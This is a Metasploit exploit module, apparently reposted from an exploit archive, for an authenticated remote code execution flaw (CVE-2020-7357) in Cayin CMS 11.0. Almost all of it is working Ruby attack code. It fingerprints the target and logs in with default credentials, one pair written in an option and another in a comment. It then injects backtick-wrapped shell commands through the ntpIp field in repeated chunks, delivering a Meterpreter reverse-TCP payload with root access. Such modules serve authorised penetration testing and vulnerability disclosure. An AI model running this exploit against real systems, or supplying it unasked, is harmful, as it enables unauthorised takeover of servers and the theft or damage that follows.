Cayin CMS NTP Server 11.0 Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Cayin CMS NTP Server RCE',  
'Description' => %q{  
This module exploits an authenticated RCE in Cayin CMS <= 11.0. The RCE is executed  
in the system_service.cgi file's ntpIp Parameter. The field is limited in size, so  
repeated requests are made to achieve a larger payload.  
Cayin CMS-SE is built for Ubuntu 16.04 (20.04 failed to install correctly), so the  
environment should be pretty set and not dynamic between targets.  
Results in root level access.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'h00die', # msf module  
'Gjoko Krstic (LiquidWorm) <[email protected]>' # original PoC, discovery  
],  
'References' =>  
[  
[ 'EDB', '48553' ],  
[ 'URL', 'https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php' ],  
[ 'CVE', '2020-7357' ]  
],  
'Platform' => ['linux'],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'  
},  
'Privileged' => true,  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' =>  
[  
[ 'Automatic Target', {}]  
],  
'DisclosureDate' => 'Jun 4 2020',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]  
}  
)  
)  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('TARGETURI', [true, 'The URI of Cayin CMS', '/']),  
OptString.new('USERNAME', [true, 'Username to login with', 'administrator']),  
OptString.new('PASSWORD', [true, 'Username to login with', 'admin']),  
# from the original advisory, leaving here just in case  
# OptString.new('USERNAME', [true, 'Username to login with', 'webadmin'])  
# OptString.new('PASSWORD', [true, 'Username to login with', 'bctvadmin'])  
]  
)  
end  
  
def check  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'login.cgi')  
)  
  
if res.nil? || res.code != 200  
return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')  
end  
  
if res.body.include?('var model = "CMS') && res.body.include?('STR_CAYIN_LOGO')  
print_good('Cayin CMS install detected')  
return CheckCode::Detected  
end  
  
CheckCode::Safe  
rescue ::Rex::ConnectionError  
CheckCode::Safe('Could not connect to the web service, check URI Path and IP')  
end  
  
def login  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'login.cgi'),  
'method' => 'POST',  
'vars_post' => {  
'apply_mode' => 'login',  
'lang' => 'ENG',  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
}  
)  
  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?  
  
# instead of a 302 like most apps, this does a script window.location to forward...  
unless res.code == 200 && res.body.include?('/cgi-bin/system_status.cgi')  
fail_with(Failure::BadConfig, "#{peer} - Login failed. Check username and password")  
end  
  
res.get_cookies  
end  
  
def execute_command(cmd, _opts = {})  
# originally attempted to use the 'test' functionality, however it attempts 3 times which  
# means our exploit code stage chunks are written 3 times.  
# also attempted to just 'save', however it doesn't execute an update.  
# 'update' was the prefered functionality  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'system_service.cgi'),  
'method' => 'POST',  
'cookie' => "#{@cookie} sys=Service",  
'vars_post' => {  
'exe' => 'webSvrUpdateNtp',  
'ntpIp' => "`#{cmd}`"  
  
# test button, executes 3 times  
# 'exe' => 'webSvrTestNtp', # just do the 'test', doesnt change config and still runs  
# 'ntpIp' => "`#{cmd}`"  
  
# save button, but doesnt execute  
# 'save' => 'webSvrNtp',  
# 'ntpIp' => "`#{cmd}`",  
# 'ntpEnable' => 1,  
# 'ntp_server' => 0  
}  
)  
end  
  
def exploit  
if check != CheckCode::Detected  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')  
end  
  
@cookie = login  
execute_cmdstager(flavor: :printf, linemax: 200)  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
  
end  
`